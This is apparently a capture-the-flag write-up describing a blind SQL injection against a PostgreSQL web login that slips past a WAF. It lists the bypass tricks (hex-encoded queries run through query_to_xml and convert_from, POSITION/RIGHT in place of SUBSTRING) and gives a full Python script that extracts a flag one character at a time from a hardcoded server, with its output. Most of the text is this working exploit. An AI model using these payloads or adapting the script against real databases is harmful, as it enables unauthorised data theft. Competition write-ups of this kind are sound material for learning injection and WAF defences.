Tags: postgresql sqli waf-bypass 

Rating:

**Techniqes used to bypass waf**
1. Error based approach to avoid `union` and `select` keywords
2. Used `query_to_xml()` function in postgresql to run a query provided in a string
3. String used in query is hex encoded to bypass waf and later decoded using `convert_from()`
4. To get characters at specified index `POSITION()` and `RIGHT()` are used as `SUBSTRING` is blocked
5. To make things simple, flag is extracted using `regexp`

**Exploit code**
```
import requests, string

URL = "http://47.242.21.212:8081"
query = "select * from target_credentials"
query = "".join([str(hex(ord(c))).replace('0x', '') for c in query])

flag = "rwctf"
with requests.Session() as s:

data = {
"username": "",
"password": "hell",
}
res = s.post(URL + '/login', data=data)

i = 1
while True:

for c in string.printable:

payload = '''' or POSITION('{}' in RIGHT(regexp_replace(regexp_replace(XMLSERIALIZE(DOCUMENT query_to_xml(convert_from('\\x{}', 'UTF8'), false, false,'') as text), E'(.*rwct)', ''), E'{}', ''), -{})) = 1 or 'a' similar to 'b'''.format(c, query, '(}.*)', str(i))

# print(payload)
data = {
"name": payload
}

res = s.post(URL, data=data)
if "Kill" in res.text:
flag += c
print(flag)
i+=1
break

else:
flag += '^'
print(flag)
i+=1
```

**Output**
```
rwctf{
rwctf{t
rwctf{t0
rwctf{t0-
rwctf{t0-h
rwctf{t0-h4
rwctf{t0-h4c
rwctf{t0-h4ck
rwctf{t0-h4ck-
rwctf{t0-h4ck-$
rwctf{t0-h4ck-$k
rwctf{t0-h4ck-$ky
rwctf{t0-h4ck-$kyn
rwctf{t0-h4ck-$kyne
rwctf{t0-h4ck-$kynet
rwctf{t0-h4ck-$kynet-
rwctf{t0-h4ck-$kynet-0
rwctf{t0-h4ck-$kynet-0r
rwctf{t0-h4ck-$kynet-0r-
rwctf{t0-h4ck-$kynet-0r-f
rwctf{t0-h4ck-$kynet-0r-f1
rwctf{t0-h4ck-$kynet-0r-f1a
rwctf{t0-h4ck-$kynet-0r-f1as
rwctf{t0-h4ck-$kynet-0r-f1ask
rwctf{t0-h4ck-$kynet-0r-f1ask_
rwctf{t0-h4ck-$kynet-0r-f1ask_t
rwctf{t0-h4ck-$kynet-0r-f1ask_th
rwctf{t0-h4ck-$kynet-0r-f1ask_tha
rwctf{t0-h4ck-$kynet-0r-f1ask_that
rwctf{t0-h4ck-$kynet-0r-f1ask_that-
rwctf{t0-h4ck-$kynet-0r-f1ask_that-I
rwctf{t0-h4ck-$kynet-0r-f1ask_that-Is
rwctf{t0-h4ck-$kynet-0r-f1ask_that-Is-
rwctf{t0-h4ck-$kynet-0r-f1ask_that-Is-t
rwctf{t0-h4ck-$kynet-0r-f1ask_that-Is-th
rwctf{t0-h4ck-$kynet-0r-f1ask_that-Is-th3
rwctf{t0-h4ck-$kynet-0r-f1ask_that-Is-th3-
rwctf{t0-h4ck-$kynet-0r-f1ask_that-Is-th3-q
rwctf{t0-h4ck-$kynet-0r-f1ask_that-Is-th3-qu
rwctf{t0-h4ck-$kynet-0r-f1ask_that-Is-th3-que
rwctf{t0-h4ck-$kynet-0r-f1ask_that-Is-th3-ques
rwctf{t0-h4ck-$kynet-0r-f1ask_that-Is-th3-quest
rwctf{t0-h4ck-$kynet-0r-f1ask_that-Is-th3-questi
rwctf{t0-h4ck-$kynet-0r-f1ask_that-Is-th3-questi0
rwctf{t0-h4ck-$kynet-0r-f1ask_that-Is-th3-questi0n
rwctf{t0-h4ck-$kynet-0r-f1ask_that-Is-th3-questi0n^
```

**FLAG :**
`rwctf{t0-h4ck-$kynet-0r-f1ask_that-Is-th3-questi0n}`